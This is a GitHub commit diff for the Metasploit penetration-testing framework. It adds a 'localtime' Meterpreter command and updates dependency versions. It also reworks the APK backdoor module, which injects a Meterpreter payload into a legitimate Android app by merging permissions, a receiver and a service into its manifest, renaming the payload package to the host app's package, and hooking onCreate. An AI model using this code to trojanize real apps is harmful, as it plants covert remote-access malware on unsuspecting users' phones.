Skip to content

Commit b447f32

Browse files
author
Brent Cook
committed
Land rapid7#7423, add 'localtime' command to meterpreter and mettle
2 parents 2bd11f5 + e5ac3ed commit b447f32

17 files changed

+95
-83
lines changed

Gemfile.lock

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -14,9 +14,9 @@ PATH
1414
metasploit-concern
1515
metasploit-credential
1616
metasploit-model
17-
metasploit-payloads (= 1.1.19)
17+
metasploit-payloads (= 1.1.21)
1818
metasploit_data_models
19-
metasploit_payloads-mettle (= 0.0.6)
19+
metasploit_payloads-mettle (= 0.0.7)
2020
msgpack
2121
nessus_rest
2222
net-ssh
@@ -155,7 +155,7 @@ GEM
155155
activemodel (~> 4.2.6)
156156
activesupport (~> 4.2.6)
157157
railties (~> 4.2.6)
158-
metasploit-credential (2.0.3)
158+
metasploit-credential (2.0.4)
159159
metasploit-concern
160160
metasploit-model
161161
metasploit_data_models
@@ -167,7 +167,7 @@ GEM
167167
activemodel (~> 4.2.6)
168168
activesupport (~> 4.2.6)
169169
railties (~> 4.2.6)
170-
metasploit-payloads (1.1.19)
170+
metasploit-payloads (1.1.21)
171171
metasploit_data_models (2.0.4)
172172
activerecord (~> 4.2.6)
173173
activesupport (~> 4.2.6)
@@ -178,7 +178,7 @@ GEM
178178
postgres_ext
179179
railties (~> 4.2.6)
180180
recog (~> 2.0)
181-
metasploit_payloads-mettle (0.0.6)
181+
metasploit_payloads-mettle (0.0.7)
182182
method_source (0.8.2)
183183
mime-types (3.1)
184184
mime-types-data (~> 3.2015)
@@ -307,7 +307,7 @@ GEM
307307
simplecov-html (~> 0.10.0)
308308
simplecov-html (0.10.0)
309309
slop (3.6.0)
310-
sqlite3 (1.3.11)
310+
sqlite3 (1.3.12)
311311
sshkey (1.8.0)
312312
thor (0.19.1)
313313
thread_safe (0.3.5)

lib/msf/core/payload/apk.rb

Lines changed: 55 additions & 63 deletions
Original file line numberDiff line numberDiff line change
@@ -8,14 +8,7 @@
88
require 'optparse'
99
require 'open3'
1010

11-
module Msf::Payload::Apk
12-
13-
class ApkBackdoor
14-
include Msf::Payload::Apk
15-
def backdoor_apk(apk, payload)
16-
backdoor_payload(apk, payload)
17-
end
18-
end
11+
class Msf::Payload::Apk
1912

2013
def print_status(msg='')
2114
$stderr.puts "[*] #{msg}"
@@ -65,62 +58,45 @@ def find_launcher_activity(amanifest)
6558
end
6659
end
6760

68-
def fix_manifest(tempdir)
69-
payload_permissions=[]
70-
71-
#Load payload's permissions
72-
File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file|
73-
k=File.read(file)
74-
payload_manifest=Nokogiri::XML(k)
75-
permissions = payload_manifest.xpath("//manifest/uses-permission")
76-
for permission in permissions
77-
name=permission.attribute("name")
78-
payload_permissions << name.to_s
79-
end
80-
}
81-
82-
original_permissions=[]
83-
apk_mani=""
84-
85-
#Load original apk's permissions
86-
File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2|
87-
k=File.read(file2)
88-
apk_mani=k
89-
original_manifest=Nokogiri::XML(k)
90-
permissions = original_manifest.xpath("//manifest/uses-permission")
91-
for permission in permissions
92-
name=permission.attribute("name")
93-
original_permissions << name.to_s
94-
end
61+
def parse_manifest(manifest_file)
62+
File.open(manifest_file, "rb"){|file|
63+
data = File.read(file)
64+
return Nokogiri::XML(data)
9565
}
66+
end
9667

97-
#Get permissions that are not in original APK
98-
add_permissions=[]
68+
def fix_manifest(tempdir)
69+
#Load payload's manifest
70+
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
71+
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
72+
73+
#Load original apk's manifest
74+
original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
75+
original_permissions = original_manifest.xpath("//manifest/uses-permission")
76+
77+
manifest = original_manifest.xpath('/manifest')
78+
old_permissions = []
79+
for permission in original_permissions
80+
name = permission.attribute("name").to_s
81+
old_permissions << name
82+
end
9983
for permission in payload_permissions
100-
if !(original_permissions.include? permission)
101-
print_status("Adding #{permission}")
102-
add_permissions << permission
84+
name = permission.attribute("name").to_s
85+
unless old_permissions.include?(name)
86+
print_status("Adding #{name}")
87+
original_permissions.before(permission.to_xml)
10388
end
10489
end
10590

106-
inject=0
107-
new_mani=""
108-
#Inject permissions in original APK's manifest
109-
for line in apk_mani.split("\n")
110-
if (line.include? "uses-permission" and inject==0)
111-
for permission in add_permissions
112-
new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n"
113-
end
114-
new_mani << line+"\n"
115-
inject=1
116-
else
117-
new_mani << line+"\n"
118-
end
119-
end
120-
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani }
91+
application = original_manifest.at_xpath('/manifest/application')
92+
application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml
93+
application << payload_manifest.at_xpath('/manifest/application/service').to_xml
94+
95+
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts original_manifest.to_xml }
12196
end
12297

123-
def backdoor_payload(apkfile, raw_payload)
98+
def backdoor_apk(apkfile, raw_payload)
99+
124100
unless apkfile && File.readable?(apkfile)
125101
usage
126102
raise RuntimeError, "Invalid template: #{apkfile}"
@@ -168,9 +144,7 @@ def backdoor_payload(apkfile, raw_payload)
168144
print_status "Decompiling payload APK..\n"
169145
run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload")
170146

171-
f = File.open("#{tempdir}/original/AndroidManifest.xml")
172-
amanifest = Nokogiri::XML(f)
173-
f.close
147+
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
174148

175149
print_status "Locating hook point..\n"
176150
launcheractivity = find_launcher_activity(amanifest)
@@ -194,15 +168,33 @@ def backdoor_payload(apkfile, raw_payload)
194168
raise RuntimeError, "Unable to find onCreate() in #{smalifile}\n"
195169
end
196170

197-
print_status "Copying payload files..\n"
198-
FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/")
199-
FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/"
171+
# Remove unused files
172+
FileUtils.rm "#{tempdir}/payload/smali/com/metasploit/stage/MainActivity.smali"
173+
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
200174

201-
payloadhook = entrypoint + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
175+
package = amanifest.xpath("//manifest").first['package']
176+
package_slash = package.gsub(/\./, "/")
177+
print_status "Adding payload as package #{package}\n"
178+
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
179+
payload_dir = "#{tempdir}/original/smali/#{package_slash}/"
180+
FileUtils.mkdir_p payload_dir
181+
182+
# Copy over the payload files, fixing up the smali code
183+
payload_files.each do |file_name|
184+
smali = File.read(file_name)
185+
newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash)
186+
newfilename = "#{payload_dir}#{File.basename file_name}"
187+
File.open(newfilename, "wb") {|file| file.puts newsmali }
188+
end
189+
190+
payloadhook = entrypoint + %Q^
191+
invoke-static {p0}, L#{package_slash}/MainService;->startService(Landroid/content/Context;)V
192+
^
202193
hookedsmali = activitysmali.gsub(entrypoint, payloadhook)
203194

204195
print_status "Loading #{smalifile} and injecting payload..\n"
205196
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
197+
206198
injected_apk = "#{tempdir}/output.apk"
207199
aligned_apk = "#{tempdir}/aligned.apk"
208200
print_status "Poisoning the manifest with meterpreter permissions..\n"

lib/msf/core/payload_generator.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -320,7 +320,7 @@ def generate_payload
320320
gen_payload = raw_payload
321321
elsif payload.start_with? "android/" and not template.blank?
322322
cli_print "Using APK template: #{template}"
323-
apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new()
323+
apk_backdoor = ::Msf::Payload::Apk.new
324324
raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload)
325325
cli_print "Payload size: #{raw_payload.length} bytes"
326326
gen_payload = raw_payload

lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -101,6 +101,15 @@ def getenv(var_name)
101101
value
102102
end
103103

104+
#
105+
# Returns the target's local system date and time.
106+
#
107+
def localtime
108+
request = Packet.create_request('stdapi_sys_config_localtime')
109+
response = client.send_request(request)
110+
(response.get_tlv_value(TLV_TYPE_LOCAL_DATETIME) || "").strip
111+
end
112+
104113
#
105114
# Returns a hash of information about the remote computer.
106115
#

lib/rex/post/meterpreter/extensions/stdapi/tlv.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -129,6 +129,7 @@ module Stdapi
129129
TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
130130
TLV_TYPE_DOMAIN = TLV_META_TYPE_STRING | 1046
131131
TLV_TYPE_LOGGED_ON_USER_COUNT = TLV_META_TYPE_UINT | 1047
132+
TLV_TYPE_LOCAL_DATETIME = TLV_META_TYPE_STRING | 1048
132133

133134
# Environment
134135
TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100

lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -94,13 +94,14 @@ def commands
9494
"kill" => "Terminate a process",
9595
"ps" => "List running processes",
9696
"reboot" => "Reboots the remote computer",
97-
"reg" => "Modify and interact with the remote registry",
97+
"reg" => "Modify and interact with the remote registry",
9898
"rev2self" => "Calls RevertToSelf() on the remote machine",
9999
"shell" => "Drop into a system command shell",
100100
"shutdown" => "Shuts down the remote computer",
101101
"steal_token" => "Attempts to steal an impersonation token from the target process",
102102
"suspend" => "Suspends or resumes a list of processes",
103103
"sysinfo" => "Gets information about the remote system, such as OS",
104+
"localtime" => "Displays the target system's local date and time",
104105
}
105106
reqs = {
106107
"clearev" => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ],
@@ -135,6 +136,7 @@ def commands
135136
"steal_token" => [ "stdapi_sys_config_steal_token" ],
136137
"suspend" => [ "stdapi_sys_process_attach"],
137138
"sysinfo" => [ "stdapi_sys_config_sysinfo" ],
139+
"localtime" => [ "stdapi_sys_config_localtime" ],
138140
}
139141

140142
all.delete_if do |cmd, desc|
@@ -820,6 +822,14 @@ def cmd_sysinfo(*args)
820822
return true
821823
end
822824

825+
#
826+
# Displays the local date and time at the remote system location.
827+
#
828+
def cmd_localtime(*args)
829+
print_line("Local Date/Time: " + client.sys.config.localtime);
830+
return true
831+
end
832+
823833
#
824834
# Shuts down the remote computer.
825835
#

metasploit-framework.gemspec

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -65,9 +65,9 @@ Gem::Specification.new do |spec|
6565
# are needed when there's no database
6666
spec.add_runtime_dependency 'metasploit-model'
6767
# Needed for Meterpreter
68-
spec.add_runtime_dependency 'metasploit-payloads', '1.1.19'
68+
spec.add_runtime_dependency 'metasploit-payloads', '1.1.21'
6969
# Needed for the next-generation POSIX Meterpreter
70-
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.6'
70+
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.7'
7171
# Needed by msfgui and other rpc components
7272
spec.add_runtime_dependency 'msgpack'
7373
# get list of network interfaces, like eth* from OS.

modules/payloads/singles/windows/meterpreter_bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module MetasploitModule
1515

16-
CachedSize = 957999
16+
CachedSize = 983599
1717

1818
include Msf::Payload::TransportConfig
1919
include Msf::Payload::Windows

modules/payloads/singles/windows/meterpreter_reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module MetasploitModule
1515

16-
CachedSize = 959043
16+
CachedSize = 984643
1717

1818
include Msf::Payload::TransportConfig
1919
include Msf::Payload::Windows

modules/payloads/singles/windows/meterpreter_reverse_https.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module MetasploitModule
1515

16-
CachedSize = 959043
16+
CachedSize = 984643
1717

1818
include Msf::Payload::TransportConfig
1919
include Msf::Payload::Windows

0 commit comments

Comments
 (0)